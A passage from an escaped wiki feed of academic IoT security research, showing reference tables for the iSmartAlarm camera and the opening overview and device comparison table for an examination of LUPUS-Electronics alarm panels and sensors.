&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Profile&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.ismartalarm.com/info/AboutUs (accessed 17 October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Awards&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.ismartalarm.com/why-ismartalarm#awards_and_reviews (accessed 17 October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;iSmartAlarm iSC5: Spot - Smart Home Security Camera&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Product&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.ismartalarm.com/spot (accessed 17 October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Support&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.ismartalarm.com/support/support-center (accessed 17 October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Specification&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.ismartalarm.com/support/cameras/specifications-and-manuals/specifications-spot/article-214316708.html (accessed 17 October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Installation&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.ismartalarm.com/support/cameras/specifications-and-manuals/quick-installation-guide-spot/article-234696467.html (accessed 17 October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;FCCIO&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://fccid.io/SENISC5 (accessed 28 October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;U-Boot&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Manual&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;http://www.denx.de/wiki/DULG/Manual (Accessed: 20. October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Memory Dump&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;http://www.denx.de/wiki/view/DULG/UBootCmdGroupMemory#Section_UBootCmdMd (Accessed: 20. October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Vulnerability Reports&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;infosecurity-magazine&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.infosecurity-magazine.com/news/iot-smart-alarm-vulnerabilities/&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;BullGuard&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.bullguard.com/de/press/press-releases/2017/vom-hacker-zum-einbrecher-bullguard-und-dojo-ide.aspx&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Ilia Shnaidman&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://packetstormsecurity.com/files/143344/iSmartAlarm-Backend-Server-Side-Request-Forgery.html&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Used Hardware&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[[ISmartAlarm® ISC5 SPOT IP-Camera]]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Examination_of_LUPUS-Electronics_devices&amp;diff=14607</id>
		<title>Examination of LUPUS-Electronics devices</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Examination_of_LUPUS-Electronics_devices&amp;diff=14607"/>
		<updated>2024-03-12T17:23:08Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Summary&amp;lt;/h1&amp;gt;&lt;br /&gt;
[[File:LUPUSEC Universum.jpg|230px|right|thumb|The LUPUSEC Universe&amp;lt;sup&amp;gt;[https://www.lupus-electronics.de/shop/bilder/lupusec/LUPUSEC_Universum_s.jpg]&amp;lt;/sup&amp;gt;]]&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The German company LUPUS-Electronics is regularly awarded for its security as well as their smart home capabilities by magazines and organisations like the [https://www.av-test.org/en/ AV-TEST]. The latest equipment offers astonishing features, a new firmware and the recent LUPUS UI 3.0. But especially the central units are quite expensive and intended for a longer period of use. In addition, users rarely have the technical knowledge to keep these devices up to date to protect them against security breaches and the like. In this examination a setup is examined which was used as such in a production environment. The device is illuminated without knowledge of access data or the like.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Introduction&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The LUPUSEC Smarthome System is different from other Smart Homes, as it is not only compatible with other manufacturers and has the widest range of accessories with over 80 sensors and hazard alarms, but is primarily a professional wireless alarm system with sabotage protection and connection possibility. The LUPUSEC Smarthome System offers applications in the areas of Video Surveillance, Alarm System and Smart Home. This allows a user to benefit from security, energy and comfort.&amp;lt;sup&amp;gt;[https://www.lupus-electronics.de/en/smart-home/]&amp;lt;/sup&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;LUPUS - XT1 Plus Starter Kit&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;quot;The new LUPUS XT1 Plus offers professional protection and features the most extensive smart home equipment, as well as, video surveillance solutions. The XT1 Plus allows you to connect up to 80 alarm sensors and smart home elements. The door contacts and motion detectors allow you to secure your home around the clock. Via the smartphone app you are informed immediately if someone enters or leaves your home. The XT1 Plus meets the highest demands in terms of data security. Every connection to the XT1 Plus uses a 256bit TLS 1.2 encryption.&lt;br /&gt;
The alarm panel, as well as, every sensor is protected against internal or external tampering.&amp;quot;&amp;lt;/p&amp;gt;&lt;br /&gt;
[[https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUS-XT1-Plus-Starter-Kit-p.html Product Link]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;LUPUS - XT2 Plus Main Panel&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;quot;The new LUPUSEC XT2 Plus is an innovative burglar alarm, smart home, and video surveillance system that is reliable, easy to use, and extremely versatile. The alarm panel can control your heating, lights, shutters, and other electronic devices. Additionally, you can integrate your cameras, view their live stream, and, thus, immediately discover the source of an alarm. You can connect up to 240 alarm sensors wirelessly to the XT2 Plus. The 256bit SSL encryption of the LUPUSEC-XT2 Plus guarantees that your data connection is secured against intruders. Pre-emptive damage prevention. Simple and secure. That&#039;s the new LUPUSEC-XT2 Plus.&amp;quot;&amp;lt;/p&amp;gt;&lt;br /&gt;
[[https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUS-XT2-Plus-Main-Panel-p.html Product Link]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;LUPUSEC - XT3 Main Panel&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;quot;The new LUPUSEC-XT3 is an innovative burglar alarm, smart home, and video surveillance system that is reliable, easy to use, and extremely versatile. LUPUSEC-XT3 protects your building professionally. You can connect up to 480 alarm sensors via the proprietary radio band of 868MHz. In case of an alarm you will immediately by alarmed via push-notifications, e-mail, SMS, a telephone call, and additionally you can connect a 24/7 guard service. For the transmission of these alarms, the XT3 uses two redundant methods: Via your network and via the integrated GSM module. Professional and secure! Hence, the LUPUSEC-XT3 is certified according to the European quality norm of EN50131 grade 2.&amp;quot;&amp;lt;/p&amp;gt;&lt;br /&gt;
[[https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUSEC-XT3-Main-Panel-p.html Product Link]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;LUPUSEC - Outdoor siren V2&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
[[https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Sirens/LUPUSEC-Outdoor-siren-V2-p.html Product Link]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;LUPUSEC - Remote Control&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
[[https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Classic-XT1-Sensoren/LUPUSEC-Remote-control-p.html Product Link]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;LUPUSEC - Door Contact V1 (EOL)&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
[[https://www.lupus-electronics.de/en/service/eol-product-downloads/ Product Link]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Uninvestigated devices&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;[[https://www.lupus-electronics.de/shop/en/ Shop Link]]&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;EOL Product Downloads&amp;lt;/h3&amp;gt;&lt;br /&gt;
Lots of firmware downloads to play around with. (For educational purposes!)&lt;br /&gt;
* https://www.lupus-electronics.de/en/service/eol-product-downloads/&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Examination&amp;lt;/h1&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Summary&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Collected Information&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Device Model&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;XT2 Plus&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;XT3&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;XT1 Plus&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Outdoor Siren V2&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Remote Control V1&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Door Contact V1&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Manufacturer&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;LUPUS (Climax)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;LUPUS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;LUPUS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;LUPUS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;LUPUS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;LUPUS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Product Type&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Alarm, Smart and Video&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Alarm, Smart and Video&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Alarm, Smart and Video&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Outdoor Siren&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Remote Control&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Door Contact&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Alarm Panel&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Alarm Panel&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Alarm Panel with accessories&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Attracts Attention in the Neighbourhood&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Arm or Disarm Alarm Panel&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Monitors Open/Close of Windows/Doors&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Price on Release&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;665 Euro&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;On request&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;400 Euro&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;200 Euro&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;50 Euro&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;50 Euro&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Release&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;2015 Q4 (Continuing)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;2017 Q2 (Continuing)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;2019 Q2 (Continuing)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;2015 Q2 (Continuing)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;2015 Q1 (Continuing)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;2015 Q1 (EOL)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;State of Research&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;No input via UART; Telnet exploit!&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Not in possession&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Not in possession&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Not investigated&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Not investigated&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Not investigated&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ports&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;FE, USB B, SIM&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Buttons&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Learn&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;LED&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Error, Area1, Area2&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
